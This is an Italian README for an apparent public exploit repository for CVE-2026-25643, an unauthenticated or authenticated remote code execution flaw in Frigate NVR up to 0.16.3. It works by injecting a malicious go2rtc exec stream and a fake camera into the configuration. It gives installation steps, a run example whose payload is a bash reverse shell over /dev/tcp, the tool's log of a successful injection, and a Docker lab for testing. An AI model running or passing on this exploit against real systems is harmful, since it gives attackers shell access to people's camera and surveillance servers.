joshuavanderpoll/cve-2026-25643CVE-2026-25643: Frigate ≤0.16.3 RCE cieca tramite iniezione exec in go2rtc
Questo exploit in Python colpisce una vulnerabilità critica di manipolazione della configurazione in Frigate NVR fino alla versione 0.16.3 (sia nei percorsi autenticati che non autenticati). Iniettando uno stream go2rtc maligno e una voce di telecamera fittizia, innesca l'esecuzione arbitraria di comandi nel processo Frigate durante il riavvio del servizio — non richiede reverse shell o cattura dell'output.
[!NOTE] Per garantire un ambiente pulito e isolato per le dipendenze del progetto, si consiglia di utilizzare il modulo
venvdi Python.
git clone https://github.com/joshuavanderpoll/CVE-2026-25643.git
cd CVE-2026-25643
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-25643.git
cd CVE-2026-25643
python -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2026-25643.py -c "bash -i >& /dev/tcp/host.docker.internal/1111 0>&1" --url http://localhost:5001/
Target : http://localhost:5001
Command: bash -i >& /dev/tcp/host.docker.internal/1111 0>&1
[!] No credentials provided → attempting unauthenticated access
[*] Fetching current configuration (/api/config/raw) ...
[*] Config fetch → HTTP 200
[*] Received 914 bytes
[*] Config was JSON-wrapped → unwrapped
[+] Config parsed successfully (7 top-level keys)
[*] Preparing payload → executing: bash -i >& /dev/tcp/host.docker.internal/1111 0>&1
[*] Using payload: bash -c 'bash -i >& /dev/tcp/host.docker.internal/1111 0>&1'
[+] Injected malicious stream → debug_cmd
[+] Injected trigger camera → trigger_exec
[*] Sending modified config (861 bytes) with option: restart
[*] Config save → HTTP 200
[+] Configuration accepted (server should restart)
============================================================
Payload sent! Command should execute during go2rtc init / camera probe.
Keep in mind:
• Output is NOT captured (blind execution)
• Command runs as the user/frigate process
• Multiple executions may occur during restart
============================================================
cd docker/
docker compose down
docker compose up -d
# You can test at --url http://127.0.0.1:5001
Questo strumento è fornito esclusivamente a scopo educativo e di ricerca. Il creatore non si assume alcuna responsabilità per qualsiasi uso improprio o danno causato dallo strumento.